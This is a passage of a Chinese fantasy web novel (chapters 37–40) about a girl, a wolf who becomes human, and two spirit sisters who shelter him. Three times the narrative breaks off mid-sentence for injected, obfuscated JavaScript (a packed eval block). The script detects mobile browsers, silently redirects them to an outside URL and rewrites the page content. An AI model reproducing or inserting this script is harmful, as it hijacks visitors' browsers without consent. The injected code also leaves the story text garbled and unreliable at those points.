芊芊父母以常识推断一匹狼的出现就意味着后面还有一群狼,生死攸关之际,他们打算一人抓起一个孩子逃跑。芊芊初生牛犊不怕狼,根本不理解爹娘为何突然起身要跑,眼里只有香喷喷的烤鸡,她娘去抱她,她去抱烤鸡,两步之差,狼冲到了这家人面前。 中年男女胆小惜命,生怕错失逃命的机会,只来得及抱着儿子头也不回地夺路狂奔,芊芊这才发现即将被爹娘抛弃的危机,想跟上爹娘的脚步,奈何腿短人矮,不一会儿就完全找不见家人,只剩她一个五岁孤女在前不着村后不着店的路边徘徊,身边还有一匹双眼透露出兴奋的狼。 这种时候一般女孩大约会哭闹不止,但芊芊不是一般女孩,她非但没有大哭,甚至朝狼扔了一个小石子,奶声奶气地嗔怪:“都怪你!害我和爹娘走丢了!” 说罢气呼呼坐在路边,大口大口开吃拎了一路的烤鸡。 她揪下一只鸡腿,肉香四溢,那只被石子打得躲远了一点的狼闻着香味呼哧带喘地凑近,口水滴滴答答下雨一样落在地上。 它是落单的孤狼,好几日没吃东西了。因为天生有灵根,不吃人肉,不吃生肉,女孩不是他的猎物,女孩手里的烤鸡才是。 37. 岁既晏兮孰华予2 芊芊没见过狼,更没见过狼的凶残相,懵懵懂懂认为这个毛茸茸的动物和自家看门黄狗相似,见它双眼放光口水不止可怜巴巴的样子,知道他是饿了,遂将手里啃了一半的鸡腿扔给它。 那狼果然叼起来鸡腿,连骨带肉地咀嚼一阵,吐出一根肉丝也没残留的光滑骨头。 就这样,女孩与狼坐在无人的路边,津津有味分吃完一整只烤鸡,连鸡屁股也没剩下。 芊芊吃饱气消,友好地拍拍狼脑袋:“好了,你走吧,我要回家去找爹娘和哥哥了。” 她顺着爹娘逃跑的路往家走,狼却没有离开,而是一路护送女孩。芊芊走不动时,狼就在旁边让她靠着休息,直到遇见带人折返回来找她的家人。 人一出现,狼就躲入林中藏起来,悄悄尾随,知道了芊芊家在哪里。 芊芊告诉爹娘自己和狼一起吃烤鸡,大人们半信半疑,只当她是吓傻做了场梦,用极其厌恶与恐惧的语气告诉她狼是一种可怕的动物,千叮咛万嘱咐让她以后看见狼一定快跑,不可像这次一样无知无畏。 芊芊没有听从大人的劝说,她对一起吃过烤鸡走过长路的狼颇有好感。她家有一大片茶园,她的时间大多在茶田间度过。她发现只要四下无人时,那狼就会从看不见的角落钻出来,与她亲近,似乎还能听懂她说话。她开始了秘密的投喂,五年过去,女孩与狼交情越来越好。 她叫他“小狼”,是认为小狼比大人矮,应该是个“小朋友”。 近日,小狼灵智初开化形为人,迫不及待给芊芊展示新本领,谁知芊芊认狼不认人,就有了青崖所见到的那一幕。 “所以,这边山坡上的狼王是你咬伤的吗?”青崖问。 小狼咿咿呀呀说不清楚,芊芊替小狼答道:“是那些狼先欺负小狼的!以前他们不打架,最近不知为什么,他们总欺负小狼,想把小狼赶走,不过小狼厉害,它们打不过。” 青崖略一思索,明白了其中关节。小狼未开灵智时还算是狼,狼王将其视为同类,彼此相安无事,最近小狼开灵智可以化人形后,狼王不再把他当作同类,于是发生了冲突。 灵族是连人都无法理解和接受的存在,何况是狼呢。可怜那群狼既打不过小狼也打不过她,这段时间被她从山前赶到山后,又被小狼从山后赶到山前,反反复复。 怪不得狼王一副凄惨相。 “你跟我回家吧,”青崖指着南边告诉小狼,“翻过这座山就是我家,我可以给你找件合身的衣服穿。” 还可以聊聊关于同族身份的事,他一个刚化形的狼妖,身边没有同类,只有一个十岁的人族小女孩,现在一定很迷茫,要是莽莽撞撞在其他人面前露出真面目,被术士捉走就糟了。 小狼问询似地把头转向芊芊。 经过几次演示,芊芊终于相信男孩就是小狼,她紧紧拉着男孩的手,指着北边道:“我家在那边,我也可以回家给他拿衣服。” 青崖问:“你要把他带回家吗?” “爹娘不让我和狼一起玩,他们会打小狼,我不带他回家,偷偷给他拿衣服和吃的。” 得知女孩不会把小狼的存在告诉大人,青崖略感放心。 “可是他有一个能遮风挡雨的住处会更好,我家正好有空房子。”青崖转头问男孩:“你说呢?想不想去我家看看?” 小狼第一次遇到同类,很是激动,大咧咧地点头如捣蒜,芊芊一把把他拉到一边,在他耳边悄声道:“小心打狼的人,你别自己去,明天我陪你去。” 小狼如同没主意的墙头草,听了芊芊这句话,点头变摇头,对青崖道:“明,天。” 看来小女孩担心她的狼朋友,不愿让他自己跟着去陌生人家,说不定回去想一想,还会改变主意让小狼藏起来,不再露面。 要想说服小狼,必先说服小女孩。 青崖看看天色,若是今天就带他们回家,又的确太晚了,自己家与芊芊家中间隔着两座山,以她的速度尚需要赶路半日。小女孩天黑前回不到自己家,她家人肯定会着急。 既然遇见,就不能不管。芊芊与小狼虽有基本的戒心,可毕竟是两个孩子,为了他们的安危与友谊,需要引导他们了解当前的特殊状况,了解小狼的身份,也了解《捉妖令》。 青崖双手搭在芊芊肩上,视线与她平齐地对视,正色道:“你明天一定在中午之前和小狼再来这里找我,只有你们,不带别人,好吗?” 本来对她充满戒备的女孩,眼神蓦地泛起困意,意外地快速答应:“好。” “还有,狼变成男孩的事,一定不要和任何人说。” “一定不说。” 话音落下,女孩忽然身子往一边歪,还好青崖扶着她才没有摔倒。 “咦,你怎么了?” “唔……”女孩眨了眨眼,朦胧眼神恢复清明,随即开朗地笑,“哈哈,没事,险些摔倒了。” 青崖上下检查一番,让女孩转了个圈,确认她意识清醒,没有丝毫要睡着或晕倒的迹象才松开她。 方才大约只是小孩子没有站稳。 青崖指着小狼问芊芊:“他能从狼变成人,又从人变成狼,你不害怕吗?” 芊芊道:“我今天第一次见,一开始有些害怕,后来就不怕了。” “你知道这意味着他是什么吗?” “是什么?”芊芊眼里一派纯真,“小狼就是小狼呀。” *** “姐姐!”青崖还没进屋就开心吆喝,“我发现一个小狼妖,还有一个把小狼妖当作好朋友的小姑娘,明天带他们回来你看看,能不能……” 一推开门,一股浓烈的酒气扑鼻而来。 红鸾鬓发微乱躺在床边,右手和右脚从床上垂下,耷拉在床边,手指尖还勾着一个歪倒的酒壶。 两个空酒坛子倒在床头边的地面上。 青崖站在床前,叉腰无言片刻,吞下无处分享的喜悦,开始整理屋子。她将红鸾手上的酒壶拿走,帮她脱了鞋,把手脚抬到床上摆好。 这一夜,红鸾的房子里又是火光明灭。青崖安抚不停梦魇的姐姐,到后半夜才得安宁。 清晨日出时,红鸾仍睡得安稳,青崖自行出门去约好的地点把小狼和芊芊接回谷中。 “这是我姐姐。”青崖指着床上的红鸾对小狼与芊芊介绍。 虽说红鸾向来不让外人进她房子,但她醉得不省人事,青崖生怕她把房子烧了,不敢离开太久,只好破例带小狼与芊芊进屋。 红鸾躺在床上,没有意识清醒时那般冷冽,完全凌驾于他人之上的美丽容颜仍给人以遥远的距离感。 “哇——”芊芊轻声惊叹,“你姐姐好漂亮!像仙女!” “漂亮?”小狼从她的句子里捡出一个词。 芊芊解释:“‘漂亮’就是好看,让人看见就喜欢。” 经过一晚,她已完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13627734|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接受小狼能变成人这一事实。她见小狼说话不甚流利,以为小狼听不懂人话,其实天生有灵根的小狼与她相处五年,常常听她讲话,完全听得懂,只因还未熟悉人的身体,自己说话吃力罢了。 小狼用手指着芊芊,尝试重新组织语言:“你,漂亮,我,喜欢。” 芊芊有些惊喜,甜甜一笑,接过青崖递给她的花果茶,用亮晶晶的眼睛瞧着青崖。 “姐姐你也漂亮,像小鹿!” “是吗,”青崖乐呵呵地答应,“我也曾希望自己是一只鹿。”小时候第一次化出真身时,她被自己的獠牙吓哭了,因为曾看到过狼吃鹿的场景,怎么也无法接受自己的模样,父亲为此哄了她好久。 “好喝。”小狼把一杯花果茶喝下肚,满足地咂嘴。 青崖又给他续满一杯,自豪道:“这可是按照高人留下的秘方配制的花果茶,我每天都煮一壶。”茶里满是仙草灵药浸泡出的汁液,对灵体质有益,普通人喝下也许品不出什么,灵族喝下却是沁入心脾,甜润受用。 小狼揉着鼻子嗅到空气里有一股不属于花果茶的味道,问:“是什么?” 青崖解释:“是酒的味道。” 窗子早已打开,可是屋子里酒气太重,味道经久不散。 “酒?”小狼好奇道,“好喝?” “你是问酒好不好喝吗?” 小狼点头。 青崖撇了撇嘴道:“酒一点也不好喝,你们可千万别碰,以后长大也不要喝。酒是个害人的东西,喝了就会让人发疯,发完疯又长时间睡觉,睡醒了还会头疼。” 芊芊指着床上的红鸾问:“那这个姐姐为什么喝酒?” 青崖叹了口气,在红鸾床边坐下,道:“左右没事,我给你们讲个故事听吧。” 两个孩子正是爱听故事的年纪,点头称好。 青崖开始讲故事:“在很久很久以前,有一只红色的鸟,她在森林里修炼多年,终于有一天,她变成了一个女子,全天下最美丽的女子。” 芊芊一听就懂:“喔!就像小狼可以变成男孩一样!” 青崖点头:“没错。就叫她——红鸟美人吧。红鸟美人离开森林去有许多人聚集的城中游玩,有个男子倾慕她的美貌,对她一见钟情,说愿意把天下最好的东西都送给她,只求红鸟美人与他在一起。红鸟美人答应了,男子说到做到,的确给红鸟美人定制了许多漂亮衣服、珍贵珠宝,还置办了一个豪华宅院。” 这些东西小狼只能听个一知半解,芊芊比他听得明白,问:“那男子是不是想和红鸟美人成亲?” “原本也许是要成亲的,”青崖道,“但红鸟美人初次入世,初次与人相爱,听说成亲后需要与男子家人一起住,她不喜欢,认为成不成亲无所谓,于是就没有成亲,只是住在那男子送她的庭院里。自从有她后,男子也就很少会回自己家,他们几乎等同于住在一起。 “红鸟美人没有对那人隐瞒自己的真实身份,认识没多久就变成红鸟给他看,那人不仅不害怕,反而更喜欢红鸟美人。 “他们一起生活三年,感情一直很好,可是世间突然流传起一个说法,说‘人吃妖心可得长生’。像红鸟美人这种以前不是人,后来变化成人的就是‘妖’。那男子听到传言后,表面上装作不在意,实际动了心,想获得长生。一天晚上,他在枕头底下悄悄藏了一把刀,打算在夜里等红鸟美人熟睡后,挖出红鸟美人的心。” 38. 岁既晏兮孰华予3 “可是他下手准头不对,力量也不够,没能一刀杀死红鸟美人,只是戳中了红鸟美人的心口,红鸟美人惊醒,对恋人的行为又震惊又伤心,化作红鸟,匆忙逃走。 青崖初听这个故事的时候还很懵懂,如今第一次对人讲出这个故事,发现仅仅讲述就心中隐隐作痛,那么亲身经历过的红鸟美人,又是怎样的体验?那个被恋人刺杀的夜晚,她的心已经被挖走了吧。 芊芊着急问道:“红鸟成功逃走了吗?活下来了吗?” 青崖摩挲着姐姐的手,道:“还活着,不过心口有个大洞,活的不是很好。” 小狼问:“刀伤?没好?” 芊芊道:“红鸟美人和小狼一样吧?可是小狼受伤一天就能好,她的伤很久很久都没有好吗?” 青崖轻刮芊芊与小狼的鼻子,“红鸟美人心头的伤与你们平时打打闹闹所受的伤不同,等你长大就会明白,总有一些伤痛是很难愈合的。” 芊芊问:“伤害红鸟美人的那个人怎样了?红鸟美人后来有没有再去找他?” “唔,应当是没有找过,”青崖道,“那时候人们开始大肆捉妖,那个负心人生怕红鸟美人回去找他算账,雇了很多专门捉妖的护卫、术士日夜贴身保护自己,红鸟美人如果再去找他,就是自投罗网。好几年后,红鸟美人找了个远离那人的偏僻地方隐居,再也没回去过。” 正在这时,红鸾轻轻偏了一下头,睫毛轻颤。 “呀,红……不是,我姐姐要醒了,”青崖站起身道,“我去给她准备醒酒汤,你们在这看着她,有什么动静随时叫我。” 她走到厨房煮醒酒汤,隔墙听见两个孩子低声交谈。 “你听到了吗?人抓到妖会把妖杀掉挖心,你一定要藏好,不能让人发现你是狼变的,免得被人抓去。” “你,是人……躲你?” 应该是想问你也是人,难道也要躲你吗? 芊芊道:“我们是好朋友,你不用躲我,要躲别人,特别是大人,穿官服的人,知道吧?” 青崖欣慰地点了点头,总算自己讲的故事对他们有点启发。 小狼以前不能化成人形,别人只当他是普通的狼,见了还会主动避让,不易被发现。现在则不同,他看似是人,实际还能变成狼,若是叫人发现那就危险了,术士才不会把他当作可爱的孩子,会把他抓住,剖心,挖骨,研究怎么取丹。 年幼的妖没有妖丹,这一点术士们知道不知道? 无论如何,小狼最好少在人前出现,比如可以与自己和姐姐一起住在槐谷。槐谷距离芊芊家有点远,至少安全,想和芊芊见面也不算太困难,将来如果他愿意,还可以跟随灵岛使者去灵岛——那个灵族聚集生活的地方。 等姐姐醒来和她商量一下,这次收留的是同族,姐姐应该不会反对。 青崖左手翻阅一本小册子,右手照着上面的说明把最后一味草药丢进火上的瓦罐里,盖上瓦盖。她怕弄脏长山的原稿,特意誊抄了一份用来平日翻阅,当前摊开的页面是醒酒汤煎煮方法,文字说明非常详细,草药用量、煎煮时长写得明明白白。 所有需要的药材都已放入瓦罐,接下来只有等待。青崖在汤罐前坐下,托腮望着瓦罐里袅袅升起的白雾。 长山走到哪里了?他现在在做什么?会不会也时常想起我呢? 不知不觉思绪飘远,卧房里陡然传来红鸾的怒喝:“青!崖!你又把什么给捡回来了?” 青崖猛地惊醒,看到眼前陶罐中的水都被熬干了,忙不迭加入半罐清水,搅合搅合盛出一碗汤水,急匆匆冲向红鸾的卧房。 进门一看,噗的笑出声来。 红鸾扶着额头坐在床边,满头都是璀璨耀眼的步摇发簪、珠钗首饰,梳妆台上的饰物几乎全在她的头上,满满当当看不到头发。 不用想,那自然是两个孩子的杰作,青崖自己也曾这么做过。 红鸾托着脑袋,眉头紧锁:“我头好沉。” 青崖冠冕堂皇道:“谁叫你喝那么多酒,当然会感觉头很沉。” 红鸾手往上一摸,发现了头脑沉重的真正理由,张口就要发作,青崖急忙把两个孩子往外面推:“你们到院子里自己玩一会儿,我和我姐姐有话要说。” *** 醒酒汤带有一股焦糊的味道,红鸾抿了一口就想倒掉,“我要喝水。” “长山说酒后喝这个能快速缓解头疼,恢复精神,”青崖不给红鸾拿水,继续喋喋不休介绍小狼与芊芊,“幸好小狼刚会化形就遇见咱们,不然要是被人先发现,肯定会被捉去。还好芊芊也懂事,一直没让人知道她与一只狼关系密切,发现小狼是妖也没大惊小怪,对小狼和以前一样好。” 红鸾勉强喝下一口醒酒汤,还是忍无可忍地放下汤碗,拒绝再喝,开口道:“小孩子总是可爱的,对万事万物没有偏见,没有攻击力,更没有太多复杂欲望。但长大后就不一定了,小狼已化形为人,今后不再是单纯的狼,而是妖,和那女孩还是保持距离最好。” 屋子外面,两个孩子正嘻嘻哈哈说笑打闹,尽管小狼说出的句子破碎颠倒,发音不准,芊芊却总能明白,耐心地教纠正他。 青崖道:“芊芊五岁就认识小狼,若能一起长大,这也算青梅竹马的关系。我看他们关系很好,应当能一直做朋友,没必要保持距离吧?” “青梅竹马?”红鸾冷笑,“不会有好结果的。” 青崖不服气:“我知道你又要说人妖殊途,但凡事总有例外,我爹和我娘他们不就很好吗?” “他们很好吗?”红鸾反问,“就算没有其他干扰,灵族寿命是人族的五倍,你娘去世后,你爹郁郁而终,他们结果算好?” 青崖呐呐无言。她不止一次见过父亲在母亲坟前吹笛落泪,那的确难说是好结果。 红鸾继续道:“再退一步,假设他们能接受这个结果,可灵族成年后变化缓慢,总需要在周围的人察觉他不会变老之前离开,寻找新的安家之处,如果不想总是搬家,就只能在没有人的地方隐居,试问一个正常人,谁愿意和灵一起离群索居,在没有人的地方生活?” 青崖小声嘀咕:“离群索居有什么不好……” “离群索居没什么不好,你为什么总想往人堆里跑?为什么总从外面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13679191|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捡人回来?” “在说小狼和芊芊呢,怎么扯到我身上来了……”青崖心虚分辨,“再说,再说那个说要为灵族谋事的白衣男子说不定已经和阿远汇合,阿远继位后一定愿意取消《捉妖令》,那时候灵就不用躲躲藏藏了。” “哲远他现在自顾不暇,就算继位也得多年以后,人族善变而健忘,谁能知道多年以后他对灵族是什么态度。” 作为从小在山谷中长大的青崖,习惯了隐居度日和在人前掩藏身份,其实也难以想象一个没有《捉妖令》的未来,那是个既美好又遥远的愿景。她希望能实现,但又不知能不能实现。 “他们以后的事以后再说,”青崖勉强接受姐姐的说法,“现在重要的是小狼怎么办?总不能让他自生自灭。” 红鸾揉着额角看了一眼窗外两个孩子玩闹的身影。 “你想留便把他留下吧。他还不通人情世故,出入结界必须有你我带着才能通行,等他长大更懂事一些,再解除结界对他的禁锢。至于那个女孩,让她回家,忘记小狼。” *** 送芊芊回家,分别时,青崖看着小女孩依依不舍抱着小狼的脖子,无法对她开口说出让她“忘记小狼”这样的话,她心里不赞成姐姐的做法,索性没有说,只告诉芊芊先回家,小狼以后还会再去找她。 当日,男孩在槐谷的木屋里有了一间专属的屋子。 红鸾提议给男孩起个像样的名字,青崖见男孩变回狼身,浑身毛茸茸,道:“就叫他‘毛茸茸’吧。” 红鸾:“我说起个像样的名字。” “‘毛茸茸’怎么了?难道不可以姓‘毛’?难道不是和‘周芊芊’类似?” “……算了,就叫他小狼吧,姓随你,就姓‘林’。” 男孩被正式命名为林小狼。 关于如何让小狼与芊芊断绝关系,红鸾最初的策略是温和处理,允许小狼去找芊芊,但渐渐减少允许的次数与时长,好让他们有一段适应的时间。 小狼野性未收,很少安安分分待在屋里,往往一出门去野就是好几日,刮风下雨才惦记回来。 青崖开始常常苦着脸对红鸾抱怨:“姐姐,我现在知道为什么我在外面玩久了回来你总是脾气不好,原来时间长了看不到真的会担心挂念。” 红鸾很是欣慰:“你以为姐姐是多么好当的?你成天想认弟弟认妹妹,现在真的认了,你就要为他负责。” 有时七八天不见小狼的踪影,青崖心里七上八下坐立不安,多次寻找未果,却看到小狼带着一脸与芊芊相会后的痴笑回来,简直气不打一处来。 偏偏那傻小子还不明所以,丝毫没察觉她面色如铁,拿出芊芊送他的礼物炫耀:“看,这是芊芊送我的,芊芊说天上地下,独此一份,只给我的。” 初时他灵力有限,往往还是以狼形态最自在,口中叼着收到的一只荷包、一件衣服抑或一双鞋,跑到青崖与红鸾面前呼哧呼哧地摇晃尾巴。 红鸾与青崖交头接耳:“他真的是狼吗?” 青崖:“长这个样子,应该是吧” 红鸾:“不,我看他更像一只狗。” 39. 岁既晏兮孰华予4 在此之前,十五岁的小狼已在姐姐们面前长吁短叹多日。 芊芊父亲患有头疾,久治不愈,他在京中的朋友邀请他去京中拜访名医。 若只是出远门求医,倒也不甚打紧,一年半载总能回来。令小狼担忧的是,芊芊父亲曾与那朋友半开玩笑地定下娃娃亲,芊芊正到了可以嫁人的年纪,若随家父一去,受了他人恩惠,碰巧京中朋友家的公子看中芊芊,少不得提起旧时约定,那时玩笑成真,也未可说。 小狼愁地抓耳挠腮时,红鸾道:“你明日把芊芊叫来,我有话要问她。” *** 芊芊仔细地捋了捋头发,将衣衫整理平整,这才走进门去。 她以前也曾来过红鸾家,不过都是由小狼或青崖带着偷偷进来,被红鸾正式邀请进屋,这还是第一次。 门口光线最好的位置摆着一个巨大绣架,绣在白色薄纱上的红色火凤凰即将完工。 因为东莱国当前年号是“神凤”,凤凰作为吉祥物,在衣物、屏风、彩画上都很常见,但芊芊只看了绣架一眼就确信红鸾姐绣的凤凰最是栩栩如生,似乎只等全身完整就可以展翅飞出绣框。 红鸾的厅堂也不像普通人家的厅堂,而是像一间市集里的衣肆布庄,两边墙上和桌上摆满各种明显只有富贵人家才穿得起的华丽服饰,男女款式均有,都是红鸾亲手缝制的。 芊芊有些紧张地同居中而坐的红鸾打招呼:“红鸾姐,小狼说您有事找我。” 红鸾嗯了一声,视线越过芊芊,看向门口,青崖和小狼于是把门合上,走到院中等待。 “过来坐吧,”红鸾指向自己旁边的坐席,给芊芊斟了一杯茶,徐徐道:“听说你父亲要去京城看病?” “是,”芊芊恭谨地回答,“我爹几年前染上头痛的毛病,看了许多郎中都治不好,现在连家里的生意都没法照料了,所以决定去京城找名医看一看。” 红鸾道:“京城距离此地遥远,坐马车过去,少说也要将近两个月,何不就近在其他大城找找名医?” “曾去泰安最有名的医馆看过,那里的大夫也开了几副药,可是没有任何效果,所以才打算去京城。” “医者医术良莠不齐,能医治你父亲头疾的大夫未必只有京城才有,泰安的医馆不行,周边还有其他大城,比如任城、济东、下邑……为什么非要去京城呢?” 桌上除了茶杯,还摆着一盘陌生的红皮果子,红鸾随手拿起一个,慢条斯理剥开皮,露出里面洁白晶莹的果肉。 芊芊握着茶杯,紧张得一口茶也没喝,更不敢伸手拿果子吃,道:“因为京城有父亲熟识多年的老朋友,父亲说去了那里,他的朋友可以帮我们安排衣食住行,介绍名医。” “那一定是很好的朋友吧。”红鸾目光柔和,声音也比平日更加亲切,她一连剥了三个果子却没有吃,而是放在白瓷碟里,微微一笑,将瓷碟推给芊芊,“这是荔枝,只生在南方的一种果子,你尝尝。” 芊芊呆了一下,却不是因为荔枝。据小狼说此地附近有只有灵族能感觉到的灵流,灵流附近什么植物都可能生长,有南方独有的果子也没什么稀奇,稀奇的是红鸾笑了。 红鸾姐对自己笑了。 仔细回忆,芊芊确认这是第一次见到红鸾的笑容。以往红鸾连见都不愿见她,更别说对她笑。 这一笑如冰雪融化,万千牡丹盛开。芊芊不由得在心里感叹:“好美啊——” 红鸾柔声提醒:“尝尝荔枝吧,很甜的。” “哦!谢谢姐姐!”芊芊生怕失礼,慌忙低头用勺子盛起一颗剥好的荔枝送入口中,轻轻一咬,一股从未品尝过的清香甘甜溢满口舌,“嗯!好吃!” 红鸾和颜悦色把一整盘果子都推给她,道:“喜欢吃就多吃点。” 芊芊从未见过如此平易近人的红鸾,不知不觉地放松,打开了话匣子,接着之前的话题道:“京城那位朋友是我爹的发小,他们以前一起做药材生意,也倒卖仙草灵药,后来有了《禁药令》,不敢继续做药材生意了,我爹就带我们回家乡种茶,那位朋友则去了京城。” “能迁入京城并稳定多年,你父亲那位朋友多少有些本事啊。” “对,那个朋友——我叫他李叔,我爹说李叔很有经商头脑,仙草灵药的功效还未能广为人知的时候,他就提出倒卖灵药,《禁药令》还没颁布时他就发现苗头不对,立即改做其他生意,后来官府查抄药商,他没有遭受任何损失。” 红鸾道:“这两年《禁药令》有所改变,修修改改,目前所禁灵药不过十几种,你父亲这时候打算去京城会见旧友,是不是除了找名医看病,还有其他打算?” 芊芊有些意外。红鸾久居深山,谈论起外面的世界却没有丝毫不通世务之感。《禁药令》实施十年间,每次更改都是增加禁药的类别。不知为何,去年的更改却是大刀阔斧删减了几十种禁药,那些对许多常见疑难杂症都疗效颇佳的仙草灵药现在大多都可以任意采摘使用了,朝廷删减禁药类目,无疑是件利国利民的好事,人们对此交口称赞。 父亲的打算芊芊也知道,此去不仅是看病,还有可能重新开始药材生意。她家茶园以前就是种药的药田,有几种仙草灵药别处没有,唯独在她家那片地里生长特别茂盛。她父亲想去京城打探打探消息,若《禁药令》当真如传言中一样有彻底废止的可能,自然还是做药材生意赚钱,说不定还能有机会和那位李叔一样,在京城挣得一席之地。 她不敢把这种可能告诉小狼,小狼单是听说她要去京城就咋咋呼呼发了一通脾气,更别提可能留在京城。 父亲有病在身,母亲身子也不好,虽有一个年长三岁的哥哥,可是哥哥管理生意外务已总抱怨忙碌,她身为女儿,理应跟随父母一同前去,路上好照看父母。 “我爹的确有带全家搬到京城的打算,但是我不想留在京城。”芊芊道,“我想好了,只陪父母去走一趟,他们在京城稳定后我就回来,家乡这边的茶园以后无论是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13721199|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续种茶还是改为种药,都得有个家里人照看。” “留在京城有什么不好?”红鸾神态没有改变,依旧温和,道:“京城繁华,同样的营生,在那里能赚到的钱比在别处至少多两倍。你在这里只是一个茶商之女,你父亲若有能力在京城落户,你将来就是京城富商之女,岂不是很好?” 芊芊想要开口说些什么,红鸾再度开口压住了她的话头,道:“这些年你对小狼的情谊我都看在眼里,你忽略世俗偏见陪他度过了最孤独脆弱的少年时期,这已经很好,可谓仁至义尽。听说你父亲曾把你许配给那个李叔家的公子,你不若此去抓住机会留在京城,我们只会记得你的善意,诚心祝福你。” “我不想嫁给那个公子,”芊芊果断道:“小狼在这里,他又不方便去其他地方,他舍不得我,我也舍不得他。” “年轻人的舍不得,过一年半载就放下了,”红鸾轻轻道,“你只要临走前把他哄好即可,告诉他你会回来,但是要好几年后才回来,将来等不到你,我自有办法劝他将你放下。你还没见过京城的富家公子,怎会知道自己不想嫁?城里的公子都白净清爽,文雅知礼,而小狼终日在山中玩耍,他长得野,性子也粗,山野村夫,不学无术,实在一无是处。” 其实小狼身长八尺,身姿矫健,俊眉朗目,偏黑的肤色又给他增添了几分野性气息,他的外形,任谁看到都会夸赞是个好少年。而且他也并非不学无术,每日上午,青崖都在教他念书,论学识,远远超过山野村夫的水平。 芊芊想要张口反驳红鸾,突然胸口一痛,明白了这次会面的用意。 本以为红鸾姐如此亲切地招待她是帮小狼来确定她心意的,没想到红鸾姐其实是来劝她放弃小狼的。 五年前,有段日子小狼突然音信全无,她担心小狼出了什么意外,多次来山谷寻找。由于结界的存在,她怎么也绕不进槐谷,最后一次她迷路昏倒,被青崖姐带回家,这才知道小狼被红鸾姐软禁,为的就是让他们断绝关系。 “五年了……”芊芊声音有些哽咽,“您还是不喜欢我,反对我和小狼在一起吗……” 本就在为将来的离别发愁,又没一个亲人长辈可以商量,红鸾的劝说更是雪上加霜。 喜欢小狼,不能与任何家人好友诉说;本就人妖有别,居然又要相隔两地;下定决心违背父母,小狼姐姐却日日希望他们一刀了断。 十五岁的女孩低下头,泪水模糊了视线。 “我不是针对你,”面对芊芊委屈的眼泪,红鸾波澜不惊地递过一方手帕,道:“你现在长大了,应当知道,小狼是妖,你与他没有未来。” 红鸾从身后拿出一个沉甸甸的木箱放在桌上,箱上有精致浮雕花纹,箱子打开,里面是一箱灿灿耀眼的金羽。 “这一箱算是我送你的礼物,谢谢你陪伴小狼这么多年。这些钱足够你家人在京城买一个豪华宅院,开始新的的生意。当然,要怎么用,全凭你自己处理,只要——你离开小狼。” 40. 岁既晏兮孰华予5 芊芊咬住下唇盯着红鸾。 红鸾一脸期望盯着芊芊,她把箱子合起来,推到芊芊面前,握住芊芊的两只手,一边一个放在箱侧,让她抱住箱子,道:“我是为你们好,你答应了,也是为小狼和你家人好。” 芊芊目光垂下看着木箱,红鸾趁热打铁道:“你可以把这个先带回家,慢慢考虑。无论现在还是以后,这件事我绝对不会告诉小狼。” 红鸾款款坐回原处。 芊芊闭了一下眼睛,两串泪珠滑落滴在木箱上。 一箱子金羽,就算在她家生意最好的时候,这也是的一笔不小的数目。 她闭着眼睛,泪水滚滚而下,良久后,终于下定某种决心,猛然站起,怀里抱着那个装满金羽的木箱。 红鸾在心底叹了口气。果然,她开出的条件,利益和颜面都能保全,没有理由拒绝。天真无害的孩童长大,不可避免要变成利欲熏心的成年人。 “情”在利益面前不值一提。 随后,她发现自己结论下早了。 咣啷一声,芊芊扬手,把木箱扔在一边。木箱盖子没有盖严实,里面的金羽哗啦啦散落在地。 “我不会离开小狼的!”芊芊气愤地俯视红鸾,决然道:“你不用拿钱收买我,我陪伴照顾父母到京城后就自己回来!不可能留在那里!” 红鸾脸上的笑容一收,语气也冷了下来。她往后一靠,慵懒而轻慢道:“恕我直言,你父亲既然想去投奔京城的朋友,那么自然希望两家能结亲,曾经的娃娃亲一定会被提起,那时你怎么办?难道告诉他们小狼的存在?” “我也不会暴露小狼,”芊芊咬牙坚定道:“我会拒绝婚事,告诉他们我要回家乡,如果他们不同意,我就不告而别,自己回来!” “你人生地不熟,千里迢迢,如何自己回来?” “我有自己攒的私房钱,如果不够,就算讨饭走路,我也一定走回来!”芊芊有些激动,带着几分挑衅的意味道:“我会把我的打算告诉小狼,他也一定愿意帮我,也许还愿意陪我去京城。” 红鸾冷酷道:“那时我定不允许小狼离开山谷,他若非要离开,从此以后就不许回来,我全当没有他这个弟弟,他将一无所有……” 芊芊打断她:“不回来就不回来,免得你以为他好的名义控制他!” “你要小狼,就不要你父母家人了?” “女大当嫁,女子嫁人后无论嫁给谁都难以再见到父母,嫁给小狼和嫁给别人没有什么区别。” “小狼无法在人群中生活,你和他在一起,注定要远离所有人。” “那有什么关系,我只喜欢小狼,只要和他在一起就够了。” 红鸾表情变得不可捉摸道:“你想过未来?想过和小狼成亲?” 